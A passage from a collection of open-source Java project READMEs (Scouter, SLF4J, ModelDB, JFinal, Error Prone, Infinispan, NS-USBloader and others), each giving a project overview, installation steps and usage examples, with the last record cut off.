Furthermore the usage of annotations in Java 8 is expanded to two new targets: ```java @Target({ElementType.TYPE_PARAMETER, ElementType.TYPE_USE}) @interface MyAnnotation {} ``` ## Where to go from here? My programming guide to Java 8 ends here. If you want to learn more about all the new classes and features of the JDK 8 API, check out my [JDK8 API Explorer](http://winterbe.com/projects/java8-explorer/). It helps you figuring out all the new classes and hidden gems of JDK 8, like `Arrays.parallelSort`, `StampedLock` and `CompletableFuture` - just to name a few. I've also published a bunch of follow-up articles on my [blog](http://winterbe.com) that might be interesting to you: - [Java 8 Stream Tutorial](http://winterbe.com/posts/2014/07/31/java8-stream-tutorial-examples/) - [Java 8 Nashorn Tutorial](http://winterbe.com/posts/2014/04/05/java8-nashorn-tutorial/) - [Java 8 Concurrency Tutorial: Threads and Executors](http://winterbe.com/posts/2015/04/07/java8-concurrency-tutorial-thread-executor-examples/) - [Java 8 Concurrency Tutorial: Synchronization and Locks](http://winterbe.com/posts/2015/04/30/java8-concurrency-tutorial-synchronized-locks-examples/) - [Java 8 Concurrency Tutorial: Atomic Variables and ConcurrentMap](http://winterbe.com/posts/2015/05/22/java8-concurrency-tutorial-atomic-concurrent-map-examples/) - [Java 8 API by Example: Strings, Numbers, Math and Files](http://winterbe.com/posts/2015/03/25/java8-examples-string-number-math-files/) - [Avoid Null Checks in Java 8](http://winterbe.com/posts/2015/03/15/avoid-null-checks-in-java/) - [Fixing Java 8 Stream Gotchas with IntelliJ IDEA](http://winterbe.com/posts/2015/03/05/fixing-java-8-stream-gotchas-with-intellij-idea/) - [Using Backbone.js with Java 8 Nashorn](http://winterbe.com/posts/2014/04/07/using-backbonejs-with-nashorn/) You should [follow me on Twitter](https://twitter.com/winterbe_). Thanks for reading!
0
scouter-project/scouter
Scouter is an open source APM (Application Performance Management) tool.
agent apm asm bci bytecode java-application metrics monitoring performance performance-metrics performance-monitoring scouter scouter-series tomcat
[![Maven Central](https://maven-badges.herokuapp.com/maven-central/io.github.scouter-project/scouter-parent/badge.svg?t=1)](https://maven-badges.herokuapp.com/maven-central/io.github.scouter-project/scouter-parent) [![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/scouter-project/scouter/issues) ![scouter](./scouter.document/img/main/scouter-logo-w200.png) [![English](https://img.shields.io/badge/language-English-orange.svg)](README.md) [![Korean](https://img.shields.io/badge/language-Korean-blue.svg)](README_kr.md) ## Application Performance Monitoring for Open Source S/Ws. SCOUTER is an open source APM like new relic and appdynamics. (APM means application performance monitoring or application performance management.) - **Monitoring targets (from scouter agent)** - Java Agent : Web application (on Tomcat, JBoss, Resin ...), Standalone java application - Host Agent : Linux, Windows, Unix - **Monitoring targets (from Telegraf support) Since @2.0.0** - Redis, nginX, apache httpd, haproxy, Kafka, MySQL, MongoDB, RabbitMQ, ElasticSearch, Kube, Mesos ... - **Monitoring targets (from Zipkin-Scouter storage) Since @2.5.0** - Any zipkin instrumentations(C#, Go, Python, Javascript, PHP...) can be shown in a XLog(Scatter) chart. - see the [zipkin-scouter-storage](https://github.com/scouter-project/zipkin-scouter) documentation. - see the [zipkin instrumentations.](https://zipkin.io/pages/extensions_choices.html) ![Screen](./scouter.document/img/main/dashboard-sample-1.png) Users use application services on a system and the services use resources on the system. You should understand this context in order to manage the system performance efficiently. SCOUTER can help you. - **SCOUTER shows** - Metrics about users : Active user, Recently used user, Today visitor - Metrics about services : Active service, TPS, Response time, Application profiles(method profile, sql profile, external call profile...) - Metrics about resources : Cpu, Memory, Network and Heap usage, Connection pools etc. ## At a glance(Click to watch the video) [![Demo gif](./scouter.document/img/main/scouter-movie.gif)](https://youtu.be/iuArTzsD7Ws) ## Documents - [Document home](./scouter.document/index.md) - [Quick start guide (Quick Installation of demo system)](./scouter.document/main/Quick-Start.md) - [Installation](./scouter.document/main/Setup.md) - [Live demo](./scouter.document/main/Live-Demo.md) - [How to analyze XLog View](./scouter.document/client/Reading-XLog.md) - [Customizable alarm - Alert plugins guide](./scouter.document/main/Alert-Plugin-Guide.md) - [Telegraf server feature](./scouter.document/main/Telegraf-Server.md) - [Client screen help](./scouter.document/client/How-To-Use-Client.md) ## Download - [Latest Release](https://github.com/scouter-project/scouter/releases/) ## Modules ### Official modules: - **Agent** : gather performance information and send to the server - **Java Agent (JVM Agent)** : gathering profiles and performance metrics of JVM & Web application server(eg. Tomcat)... - **Host Agent (OS Agent)** : gathering performance metrics of Linux, Windows and OSX... - **MariaDB Agent** : [to be announced] - **Server (Collector)** : save the performance metrics from scouter agents or telegraf. The data is streamed to scouter client. - **Client (Viewer)** : client program based on RCP. (not support OSX Big Sur.) - **Web API (Since @1.8.0)** : scouter web apis to get counters, XLogs, profiles and another performance metrics via HTTP protocol. - [Web API Guide](./scouter.document/tech/Web-API-Guide.md) - **Weaver (Since @2.17.0)** : Provides the ability to directly control Scouter XLog and Profiles at the code level of Java applications. - [Scouter Weaver Guide](./scouter.document/weaver/Weaver-Guide.md) ### 3rd-party UIs - **scouter paper** : [scouter paper homepage](https://scouter-contrib.github.io/scouter-paper/) - **showcase** : [scouter paper overview (youtube)](https://www.youtube.com/watch?v=NjJ0dGhdIbU) [![scouter-pater](https://scouter-contrib.github.io/scouter-paper/img/img12.png)](https://www.youtube.com/watch?v=NjJ0dGhdIbU) ### Plugins - **Server plugin** - **Sample** - **[scouter-plugin-server-null](https://github.com/scouter-project/scouter-plugin-server-null)** : sample plugin prints out data collected - **Alert** - **[scouter-plugin-server-email](https://github.com/scouter-contrib/scouter-plugin-server-alert-email)** : emails alerts from Scouter - **[scouter-plugin-server-telegram](https://github.com/scouter-contrib/scouter-plugin-server-alert-telegram)** : transfer alerts from Scouter to telegram - **[scouter-plugin-server-slack](https://github.com/scouter-contrib/scouter-plugin-server-alert-slack)** : transfer alerts from Scouter to slack - **[scouter-plugin-server-line](https://github.com/scouter-contrib/scouter-plugin-server-alert-line)** : transfer alerts from Scouter to line - **[scouter-plugin-server-dingtalk](https://github.com/scouter-contrib/scouter-plugin-server-alert-dingtalk)** : transfer alerts from Scouter to dingtalk - **[scouter-plugin-server-teams](https://github.com/scouter-contrib/scouter-plugin-server-alert-teams)** : transfer alerts from Scouter to Microsoft Teams - **Counter** - **[scouter-plugin-server-influxdb](https://github.com/scouter-contrib/scouter-plugin-server-influxdb)** : transfer performance data from Scouter to influxDB(time series DB) - **Agent plugin** - TBD ### 3rd-party Agent - **Pulse type agent** : [scouter-pulse-library](https://github.com/scouter-contrib/scouter-pulse) - **[aws-monitor](https://github.com/nices96/scouter-pulse-aws-monitor)** : gathering performance metrics of EC2, RDS, ELB from cloudwatch in AWS. <br> ## Facebook - [Scouter APM : Facebook Scouter user group](https://www.facebook.com/groups/scouterapm/) ## How to contribute - **Notice** : Pull request to **develop branch** only allowed. - Refer to the development guide below. - [Scouter developer guide](./scouter.document/tech/Developer-Guide.md) - Please note that you will have to complete a [CLA](http://goo.gl/forms/xSmYs8qM9J) for your first pull-request. ## Q&A - [Google Groups](https://groups.google.com/forum/#!forum/scouter-project) ## Blogging & Posts - [Scouter series #1 - Installation](https://translate.google.co.kr/translate?hl=ko&sl=ko&tl=en&u=https%3A%2F%2Fgunsdevlog.blogspot.kr%2F2017%2F07%2Fscouter-apm-1.html) - [Scouter series #2 - basic monitoring(1/2)](https://translate.google.co.kr/translate?hl=ko&sl=ko&tl=en&u=https%3A%2F%2Fgunsdevlog.blogspot.kr%2F2017%2F07%2Fscouter-apm-2-12.html) - [Scouter series #2.1 - basic monitoring(2/2)](https://translate.google.co.kr/translate?hl=ko&sl=ko&tl=en&u=https%3A%2F%2Fgunsdevlog.blogspot.kr%2F2017%2F07%2Fscouter-apm-basic-monitoring-2.html) - [Scouter series #3 - Active service & XLog](https://translate.google.co.kr/translate?hl=ko&sl=ko&tl=en&u=http%3A%2F%2Fgunsdevlog.blogspot.kr%2F2018%2F05%2Fscouter-apm-xlog-howto.html) - [Scouter series #4 - XLog details](https://translate.google.co.kr/translate?hl=ko&sl=ko&tl=en&u=http%3A%2F%2Fgunsdevlog.blogspot.kr%2F2018%2F05%2Fscouter-apm-active-service-xlog.html) - [Scouter series #5 - Customizable alert](https://translate.google.co.kr/translate?hl=ko&sl=ko&tl=en&u=http%3A%2F%2Fgunsdevlog.blogspot.kr%2F2018%2F05%2Fscouter-customizable-alert.html) - [Applying Scouter APM to my service : by Kingbbode](https://translate.google.co.kr/translate?hl=ko&sl=ko&tl=en&u=http%3A%2F%2Fkingbbode.tistory.com%2F12) - [Effective monitoring by Scouter : by TMON](https://translate.google.co.kr/translate?hl=ko&sl=ko&tl=en&u=http%3A%2F%2Fblog.naver.com%2FPostView.nhn%3FblogId%3Dtmondev%26logNo%3D220870505665) - [Opensource performance monitoring, Scouter configurations : by SUN](https://translate.google.co.kr/translate?hl=ko&sl=ko&tl=en&u=http%3A%2F%2Fwww.popit.kr%2Fscouter-open-source-apm-config%2F) - [Scouter, InfluxDB, Grafana](https://translate.google.co.kr/translate?hl=ko&sl=ko&tl=en&u=https%3A%2F%2Fgunleeblog.wordpress.com%2F2016%2F04%2F01%2Fopen-source-apm-scouter-influxdb-grafana-%25EC%2597%25B0%25EB%258F%2599-step-by-step%2F) - [Build my own agents by scouter pulse](https://translate.google.co.kr/translate?hl=ko&sl=ko&tl=en&u=https%3A%2F%2Fgunleeblog.wordpress.com%2F2016%2F09%2F07%2Fscouter-pulse%25EB%25A5%25BC-%25EC%259D%25B4%25EC%259A%25A9%25ED%2595%2598%25EC%2597%25AC-%25EB%2582%2598%25EB%25A7%258C%25EC%259D%2598-agent-%25EB%25A7%258C%25EB%2593%25A4%25EA%25B8%25B0%2F) - [Quick installation of scouter paper UI](https://gunsdevlog.blogspot.kr/2018/04/scouter-web-ui-paper.html) <br> ## License Licensed under the Apache License, Version 2.0 <br>
0
qos-ch/slf4j
Simple Logging Facade for Java
null
# About SLF4J The Simple Logging Facade for Java (SLF4J) serves as a simple facade or abstraction for various logging frameworks (e.g. java.util.logging, logback, reload4j, log4j 2.x) allowing the end user to plug in the desired logging framework at deployment time. More information can be found on the [SLF4J website](http://www.slf4j.org). # Build Status [![Build Status](https://travis-ci.org/qos-ch/slf4j.svg)](https://travis-ci.org/qos-ch/slf4j) # Search org.slf4j artifacts on Maven Central [![Maven Central](https://img.shields.io/badge/Search%20org%2Eslf4j%20artifacts%20on%20Maven%20Central-2.0.x-green)](https://search.maven.org/search?q=g:org.slf4j%20AND%20v:2.0.%3F) # In case of problems In case of problems please do not hesitate to post an e-mail message on the slf4j-user@qos.ch mailing list. However, please do not directly e-mail SLF4J developers. The answer to your question might be useful to other users. Moreover, there are many knowledgeable users on the slf4j-user mailing lists who can quickly answer your questions. # Urgent issues For urgent issues do not hesitate to [champion a release](https://github.com/sponsors/qos-ch/sponsorships?tier_id=77436). In principle, most championed issues are solved within 3 business days ensued by a release. # How to build SLF4J SLF4J uses Maven as its build tool. SLF4J version 2.0.x will run under Java 8 but requires Java 9 or later to build. # How to contribute pull requests If you are interested in improving SLF4J, that is great! The SLF4J community looks forward to your contribution. Please follow this process: 1. Start a discussion on the [slf4j-dev mailing list](http://www.slf4j.org/mailing-lists.html) about your proposed change. Alternately, file a [bug report](http://www.slf4j.org/bug-reporting.html) to initiate the discussion. Note that we ask pull requests to be linked to a [Jira ticket](https://jira.qos.ch/). 2. Fork qos-ch/slf4j. Ideally, create a new branch from your fork for your contribution to make it easier to merge your changes back. 3. Make your changes on the branch you hopefully created in Step 2. Be sure that your code passes existing unit tests. Please add unit tests for your work if appropriate. It usually is. 4. All commits must have signed off by the contributor attesting to [Developer Certificate of Origin (DCO)](https://developercertificate.org/). Commits without sign off will be automatically rejected by the [DCO GitHub check](https://probot.github.io/apps/dco/) application. 5. Push your changes to your fork/branch in GitHub. Don't push it to your master! If you do it will make it harder to submit new changes later. 6. Submit a pull request to SLF4J from your commit page on GitHub. 7. Did we mention that you will be asked to link your pull request with a Jira ticket?
0
VertaAI/modeldb
Open Source ML Model Versioning, Metadata, and Experiment Management
machine-learning mit model-management model-versioning modeldb verta
# ModelDB: An open-source system for Machine Learning model versioning, metadata, and experiment management. ---- <p align="center"> <a href="https://hub.docker.com/u/vertaaiofficial"> <img src="https://img.shields.io/docker/v/vertaaiofficial/modeldb-backend?color=534eb5&label=Docker%20image%20version&style=plastic" alt="docker hub" /> </a> <a href="https://pypi.org/project/verta/"> <img src="https://img.shields.io/pypi/v/verta?color=534eb5&style=plastic" alt="PyPI" /> </a> <a href="https://anaconda.org/conda-forge/verta"> <img src="https://img.shields.io/conda/v/conda-forge/verta?color=534eb5&style=plastic" alt="Conda" /> </a> <a href="https://github.com/VertaAI/modeldb/blob/master/LICENSE"> <img src="https://img.shields.io/pypi/l/verta?color=534eb5&style=plastic" alt="License" /> </a> <br> <a href="https://hub.docker.com/u/vertaaiofficial"> <img src="https://img.shields.io/docker/pulls/vertaaiofficial/modeldb-backend?color=534eb5&style=plastic" alt="docker hub" /> </a> <a href="https://pypi.org/project/verta/"> <img src="https://img.shields.io/pypi/dm/verta?color=534eb5&label=PyPI%20Downloads&style=plastic" alt="PyPI" /> </a> <a href="https://github.com/VertaAI/modeldb/graphs/commit-activity"> <img src="https://img.shields.io/github/commit-activity/w/vertaai/modeldb?color=534eb5&style=plastic" alt="Commits" /> </a> <a href="https://github.com/VertaAI/modeldb/graphs/commit-activity"> <img src="https://img.shields.io/github/last-commit/vertaai/modeldb?color=534eb5&style=plastic" alt="Last Commit" /> </a> <br> <a href="https://github.com/VertaAI/modeldb/graphs/commit-activity"> <img src="https://img.shields.io/github/stars/vertaai/modeldb?style=social" alt="Forks" /> </a> <a href="https://twitter.com/intent/follow?screen_name=VertaAI"> <img src="https://img.shields.io/twitter/follow/VertaAI?label=VertaAI&style=social" alt="Twitter" /> </a> <a href="http://bit.ly/modeldb-mlops"> <img src="https://cdn.brandfolder.io/5H442O3W/as/pl546j-7le8zk-5guop3/Slack_RGB.png" alt="Slack" height =30px/> </a> </p> <h3 align="center"> <a href="#up-and-running-in-5-minutes">Quickstart</a> <span> · </span> <a href="https://docs.verta.ai/verta/tutorials/metadata">Workflow</a> <span> · </span> <a href="https://github.com/VertaAI/examples">Examples</a> <span> · </span> <a href="#contributions">Contribute</a> <span> · </span> <a href="http://bit.ly/modeldb-mlops">Support (Slack)</a> </h3> ---- ModelDB is an open-source system to version machine learning models including their ingredients code, data, config, and environment and to track ML metadata across the model lifecycle. Use ModelDB in order to: * Make your ML models reproducible * Manage your ML experiments, build performance dashboards, and share reports * Track models across their lifecycle including development, deployment, and live monitoring Features: * Works on Docker, Kubernetes * Clients in Python and Scala * Beautiful dashboards for model performance and reporting * Git-like operations on any model * Flexible metadata logging including metrics, artifacts, tags and user information * Pluggable storage systems * Integration into state-of-the-art frameworks like Tensorflow and PyTorch * Battle-tested in production environments If you are looking for a hosted version of ModelDB, please reach out at modeldb@verta.ai. This version of ModelDB is built upon its predecessor from [CSAIL, MIT](https://www.csail.mit.edu/). The previous version can be found on Github [here](https://github.com/VertaAI/modeldb/releases/tag/v1.0.0). The ModelDB project is now maintained by [Verta.ai](https://verta.ai). ---- ## What’s In This Document - [Up and Running in 5 minutes](#up-and-running-in-5-minutes) - [Documentation](#documentation) - [Community](#community) - [Architecture](#architecture) - [How to Contribute](#how-to-contribute) - [License](#license) - [Thanks to Our Contributors](#thanks) ---- ## Up and Running in 5 minutes 0. Install [Docker](https://docs.docker.com/compose/install/) (and Docker Compose) 1. Setup ModelDB via Docker Compose ```bash docker-compose -f docker-compose-all.yaml up ``` *Note: modeldb-backend service needs backend/config/config.yaml to run, either clone the repo before running docker-compose or create the file manually.* 2. Install the ModelDB pip package. *Note it comes packaged in the verta package.* ```bash pip install verta ``` 3. Version a model or log a workflow. *Alternatively, run any of the detailed [examples](https://github.com/VertaAI/examples) in our repository.* ```python from verta import Client client = Client("http://localhost:3000") proj = client.set_project("My first ModelDB project") expt = client.set_experiment("Default Experiment") # log the first run run = client.set_experiment_run("First Run") run.log_hyperparameters({"regularization" : 0.5}) # ... model training code goes here run.log_metric('accuracy', 0.72) # log the second run run = client.set_experiment_run("Second Run") run.log_hyperparameters({"regularization" : 0.8}) # ... model training code goes here run.log_metric('accuracy', 0.83) ``` **That's it!** Navigate to **<http://localhost:3000>** to find the ModelDB Web UI and check out the models you just logged. ---- For information on debugging the Docker-based ModelDB installation, check [here](DEPLOY.md#Deploy-pre-published-images). **Other ways to install ModelDB are:** 1. [Building the source code and deploying](DEPLOY.md#build-images-from-source-and-deploy) 1. [Deploy on kubernetes via helm](DEPLOY.md#kubernetes-setUp) 1. [Using a ModelDB ami](DEPLOY.md#AWS) 1. If you are looking for a hosted version of ModelDB, please reach out at modeldb@verta.ai. ---- ## Documentation Official documentation for ModelDB can be found [here](https://docs.verta.ai/). ---- ## Community For Getting Started guides, Tutorials, and API reference check out our [docs](https://docs.verta.ai/). To report a bug, file a documentation issue, or submit a feature request, please open a GitHub issue. For help, questions, contribution discussions and release announcements, please join us on [Slack](http://bit.ly/modeldb-mlops). ---- ## Architecture At a high level the architecture of ModelDB in a Kubernetes cluster or a Docker application looks as below: ![image](doc-resources/images/modeldb-architecture.png) - **ModelDB Client** available in Python and Scala which can instantiated in the user's model building code and exposes functions to store information to ModelDB. - **ModelDB Frontend** developed in JavaScript and typescript is the visual reporting module of ModelDB. It also acts as an entry point for the ModelDB cluster. - It receives the request from client (1) and the browser and route them to the appropriate container. - The gRPC calls (2) for creating, reading,updating or deleting Projects, Experiments, ExperimentRuns, Dataset, DatasetVersions or their metadata are routed to ModelDB Proxy. - The HTTP calls (3) for storing and retrieving binary artifacts are forwarded directly to backend. - **ModelDB Backend Proxy** developed in golang is a light weight gRPC to Http convertor. - It receives the gRPC request from the front end (2) and sends them to backend (4). In the other direction it converts the response from backend and sends it to the frontend. - **ModelDB Backend** developed in java is module which stores, retrieves or deletes information as triggered by user via the client or the front end. - It exposes gRPC endpoints (4) for most of the operations which is used by the proxy. - It has http endpoints (3) for storing, retrieving and deleting artifacts used directly by the frontend. - **Database** ModelDB Backend stores (5) the information from the requests it receive into a Relational database. - Out of the box ModelDB is configured and verified to work against PostgreSQL, but since it uses Hibernate as a ORM and liquibase for change management, it should be easy to configure ModelDB to run on another SQL Database supported by the the tools. *Volumes : The relational database and the artifact store in backend need volumes attached to enable persistent storage.* ### Repo Structure Each module in the architecture diagram has a designated folder in this repository, and has their own README covering in depth documentation and contribution guidelines. 1. **protos** has the protobuf definitions of the objects and endpoint used across ModelDB. More details [here](protos/README.md). 1. **backend** has the source code and tests for ModelDB Backend. It also holds the proxy at **backend/proxy**. More details [here](backend/README.md). 1. **client** has the source code and tests for ModelDB client. More details [here](client/README.md). 1. **webapp** has the source and tests for ModelDB frontend. More details [here](webapp/README.md). Other supporting material for deployment and documentation is at: 1. **chart** has the helm chart to deploy ModelDB onto your Kubernetes cluster. More details [here](chart/modeldb/README.md). 1. **doc-resources** has images for documentation. ---- ## Contributions As seen from the [Architecture](#architecture) ModelDB provides a full stack solution to tracking, versioning and auditing machine learning models. We are open to contributions to any of the modules in form of Pull Requests. The main skill sets for each module are as below: 1. backend: If you are interested in `Java` development or are interested in database design using technologies like `Hibernate` and `Liquibase` please take a look at [backend README](backend/README.md) for setup and development instructions. 1. client: If you are interested in `Python` or `Scala` development or are interested in building examples notebooks on various ML frameworks logging data to Modeldb please take a look at [client README](client/README.md). 1. frontend: If you are interested in `Node`,`React` or `Redux` based development please take a look at [webapp README](webapp/README.md) Please reach out to us in [slack](http://bit.ly/modeldb-mlops) for any assistance in getting started with the development set up or any other feedback. ---- ## License ModelDB is licensed under Apache 2.0. ---- ## Thanks Thanks to our many contributors and users.
0
Minestom/Minestom
1.20.4 Lightweight Minecraft server
java minecraft minecraft-api minecraft-performance minecraft-server minestom nio
null
0
jfinal/jfinal
JAVA WEB + ORM Framework
null
## JAVA 极速WEB+ORM框架 JFinal [中文](README.md) [English](README_en.md) JFinal 是基于 Java 语言的极速 WEB + ORM 框架,其核心设计目标是开发迅速、代码量少、学习简单、功能强大、轻量级、易扩展、Restful。在拥有Java语言所有优势的同时再拥有 ruby、python 等动态语言的开发效率!为您节约更多时间,去陪恋人、家人和朋友 ;) #### JFinal有如下主要特点 - MVC 架构,设计精巧,使用简单 - 遵循 COC 原则,支持零配置,无 XML - 独创 Db + Record 模式,灵活便利 - ActiveRecord 支持,使数据库开发极致快速 - 极简、强大、高性能模板引擎 Enjoy,十分钟内掌握 90% 用法 - 自动加载修改后的 Java 文件,开发过程中无需重启服务 - AOP支持,拦截器配置灵活,功能强大 - Plugin 体系结构,扩展性强 - 多视图支持,支持 Enjoy、FreeMarker、JSP - 强大的 Validator 后端校验功能 - 功能齐全,拥有传统 SSH 框架的绝大部分核心功能 - 体积小仅 832 KB,并且无第三方依赖 **JFinal 极速开发微信公众号欢迎你的加入: JFinal** ## Maven 坐标 ```java <dependency> <groupId>com.jfinal</groupId> <artifactId>jfinal</artifactId> <version>5.1.1</version> </dependency> ``` ## 以下是JFinal实现Blog管理的示例: **1. 控制器(支持 Enjoy、JSP、JSON等等以及自定义视图渲染)** ```java @Before(BlogInterceptor.class) public class BlogController extends Controller { @Inject BlogService service; public void index() { set("blogPage", service.paginate(getInt(0, 1), 10)); render("blog.html"); } public void add() { } @Before(BlogValidator.class) public void save() { getModel(Blog.class).save(); redirect("/blog"); } public void edit() { set("blog", service.findById(getInt())); } @Before(BlogValidator.class) public void update() { getModel(Blog.class).update(); redirect("/blog"); } public void delete() { service.deleteById(getInt()); redirect("/blog"); } } ``` **2.Service所有业务与sql全部放在Service层** ```java public class BlogService { private Blog dao = new Blog().dao(); public Page<Blog> paginate(int pageNumber, int pageSize) { return dao.paginate(pageNumber, pageSize, "select *", "from blog order by id asc"); } public Blog findById(int id) { return dao.findById(id); } public void deleteById(int id) { dao.deleteById(id); } } ``` **3.Model(无xml、无annotaion、无attribute)** ```java public class Blog extends Model<Blog> { } ``` **4.Validator(API引导式校验,比xml校验方便N倍,有代码检查不易出错)** ```java public class BlogValidator extends Validator { protected void validate(Controller controller) { validateRequiredString("blog.title", "titleMsg", "请输入Blog标题!"); validateRequiredString("blog.content", "contentMsg", "请输入Blog内容!"); } protected void handleError(Controller controller) { controller.keepModel(Blog.class); } } ``` **5.拦截器(在此demo中仅为示例,本demo不需要此拦截器)** ```java public class BlogInterceptor implements Interceptor { public void intercept(Invocation inv) { System.out.println("Before invoking " + inv.getActionKey()); inv.invoke(); System.out.println("After invoking " + inv.getActionKey()); } } ``` ## 更多支持 - JFinal 官方网站 [https://jfinal.com](https://jfinal.com/) - 扫码关注官方微信公众号,第一时间尊享最新动向 ![JFinal](https://jfinal.com/assets/img/jfinal_weixin_service_qr_code_150.jpg)
0
zaihuishou/ExpandableRecyclerview
An ExpandableRecycleradapter with Recyclerview
null
# ExpandableRecyclerview An ExpandableRecycleradapter with Recyclerview #Screenshots ![effict](/sample-screen.gif) [![Android Arsenal](https://img.shields.io/badge/Android%20Arsenal-ExpandableRecyclerview-green.svg?style=true)](https://android-arsenal.com/details/1/3903) ##Gradle ``` compile 'com.zaihuishou:expandablerecycleradapter:1.0.3' ``` ##Maven ``` <dependency> <groupId>com.zaihuishou</groupId> <artifactId>expandablerecycleradapter</artifactId> <version>1.0.3</version> <type>pom</type> </dependency> ``` #How to use * Expandable item:</br> data model class must `implement` [ExpandableListItem](https://github.com/zaihuishou/ExpandableRecyclerview/blob/master/expandablerecycleradapter/src/main/java/com/zaihuishou/expandablerecycleradapter/model/ExpandableListItem.java),and viewholder class must `extend` [AbstractExpandableAdapterItem](https://github.com/zaihuishou/ExpandableRecyclerview/blob/master/expandablerecycleradapter/src/main/java/com/zaihuishou/expandablerecycleradapter/viewholder/AbstractExpandableAdapterItem.java) example:`public class Company implements ExpandableListItem` and `public class CompanyItem AbstractExpandableAdapterItem` * Normal item</br> viewholder `extend` [AbstractAdapterItem](https://github.com/zaihuishou/ExpandableRecyclerview/blob/master/expandablerecycleradapter/src/main/java/com/zaihuishou/expandablerecycleradapter/viewholder/AbstractAdapterItem.java)</br> example:`public class EmployeeItem extends AbstractAdapterItem` * Implement [BaseExpandableAdapter](https://github.com/zaihuishou/ExpandableRecyclerview/blob/master/expandablerecycleradapter/src/main/java/com/zaihuishou/expandablerecycleradapter/adapter/BaseExpandableAdapter.java) ``` mBaseExpandableAdapter = new BaseExpandableAdapter(mCompanylist) { @NonNull @Override public AbstractAdapterItem<Object> getItemView(Object type) { return null; } @Override public Object getItemViewType(Object t) { return -1; } }; ``` * For all details, please check demo #Databinding Use * If you want to use this with databinding,please check [ExpandableRecyclerview-Databinding](https://github.com/zaihuishou/ExpandableRecyclerview-Databinding) #Thanks * [bignerdranch/expandable-recycler-view](https://github.com/bignerdranch/expandable-recycler-view) * [zaihuishou/RcvAdapter](https://github.com/zaihuishou/RcvAdapter) ##License ``` Copyright 2016 zaihuishou Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS,WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either expressor implied.See the License for the specific language governing permissions and limitations under the License. ```
0
google/error-prone
Catch common Java mistakes as compile-time errors
java static-analysis
# Error Prone Error Prone is a static analysis tool for Java that catches common programming mistakes at compile-time. ```java public class ShortSet { public static void main (String[] args) { Set<Short> s = new HashSet<>(); for (short i = 0; i < 100; i++) { s.add(i); s.remove(i - 1); } System.out.println(s.size()); } } ``` ``` error: [CollectionIncompatibleType] Argument 'i - 1' should not be passed to this method; its type int is not compatible with its collection's type argument Short s.remove(i - 1); ^ (see https://errorprone.info/bugpattern/CollectionIncompatibleType) 1 error ``` ## Getting Started Our documentation is at [errorprone.info](https://errorprone.info). Error Prone works with [Bazel](https://bazel.build), [Maven](https://maven.apache.org), [Ant](https://ant.apache.org), and [Gradle](https://gradle.org). See our [installation instructions](https://errorprone.info/docs/installation) for details. ## Developing Error Prone Developing and building Error Prone is documented on the [wiki](https://github.com/google/error-prone/wiki/For-Developers). ## Links - Mailing lists - [General discussion](https://groups.google.com/forum/#!forum/error-prone-discuss) - [Announcements](https://groups.google.com/forum/#!forum/error-prone-announce) - [Javadoc](https://errorprone.info/api/latest/) - Pre-release snapshots are available from [Sonatype's snapshot repository](https://oss.sonatype.org/content/repositories/snapshots/com/google/errorprone/).
0
infinispan/infinispan
Infinispan is an open source data grid platform and highly scalable NoSQL cloud data store.
datagrid infinispan infinispan-server inmemory-cache key-value-store nosql persistent-storage search-engine
[![Infinispan](https://design.jboss.org/infinispan/logo/final/PNG/infinispan_logo_rgb_lightbluewhite_darkblue_600px.png)](https://infinispan.org/) [![Version](https://img.shields.io/maven-central/v/org.infinispan/infinispan-core?logo=apache-maven&style=for-the-badge)](https://search.maven.org/artifact/org.infinispan/infinispan-core) [![License](https://img.shields.io/github/license/quarkusio/quarkus?style=for-the-badge&logo=apache)](https://www.apache.org/licenses/LICENSE-2.0) [![Project Chat](https://img.shields.io/badge/zulip-join_chat-brightgreen.svg?style=for-the-badge&logo=zulip)](https://infinispan.zulipchat.com/) # Infinispan, In-Memory Distributed Data Store # Infinispan is an open-source in-memory data grid that offers flexible deployment options and robust capabilities for storing, managing, and processing data. Infinispan provides a key/value data store that can hold all types of data, from Java objects to plain text. Infinispan distributes your data across elastically scalable clusters to guarantee high availability and fault tolerance, whether you use Infinispan as a volatile cache or a persistent data store. ## Getting Started * [Documentation](https://infinispan.org/) * [5 Minutes Getting Started](https://infinispan.org/get-started/) * [Simple Tutorials](https://github.com/infinispan/infinispan-simple-tutorials) ## Contributing For contributing guidelines please refer to this [document](CONTRIBUTING.md). All contributions are subject to [Developer Certificate of Origin (DCO)](https://developercertificate.org/). *The Infinispan project team*
0
developersu/ns-usbloader
Awoo Installer and GoldLeaf uploader of the NSPs (and other files), RCM payload injector, application for split/merge files.
gui ns nsp tinfoil usb
<h1 align="center"><img src="screenshots/ApplicationLogo.svg" alt="NS-USBloader" width="450px"/></h1> ![License](https://img.shields.io/badge/License-GPLv3-blue.svg) ![Releases](https://img.shields.io/github/downloads/developersu/ns-usbloader/total.svg) ![LatestVer](https://img.shields.io/github/release/developersu/ns-usbloader.svg) [![Build Status](https://ci.redrise.ru/api/badges/desu/ns-usbloader/status.svg)](https://ci.redrise.ru/desu/ns-usbloader) NS-USBloader is: * A PC-side installer for **[Huntereb/Awoo-Installer](https://github.com/Huntereb/Awoo-Installer)** / other compatible installers (USB and Network supported) and **[XorTroll/Goldleaf](https://github.com/XorTroll/Goldleaf)** (USB) NSP installer. Alternative to default **usb_install_pc.py**, **remote_install_pc.py**, **GoldTree**/**Quark**. * RCM payload tool that works on Windows, macOS (Intel and Apple Silicon) and Linux (x86, amd64 and Raspberry Pi ARM). * It's a tool for creating split files! * Also you can use it for merging split-files into one :) [Click here for Android version ;)](https://github.com/developersu/ns-usbloader-mobile) With GUI and cookies. Works on Windows, macOS and Linux. ### Let's stay in touch: #### [→ Independent source code storage](https://git.redrise.ru/desu/ns-usbloader) #### [→ Mirror, issues tracker, place to send PRs](https://github.com/developersu/ns-usbloader) #### [→ Nightly builds](https://redrise.ru/builds/ns-usbloader/) [Support/Donate](#support-this-app) Sometimes I add new posts about this project [on my blog page](https://developersu.blogspot.com/search/label/NS-USBloader). <img src="screenshots/1.png" alt="screenshot" width="250"/> <img src="screenshots/2.png" alt="screenshot" width="250"/> <img src="screenshots/3.png" alt="screenshot" width="250"/> <img src="screenshots/4.png" alt="screenshot" width="250"/> <img src="screenshots/5.png" alt="screenshot" width="250"/> #### License [GNU General Public License version 3](https://github.com/developersu/ns-usbloader/blob/master/LICENSE), or 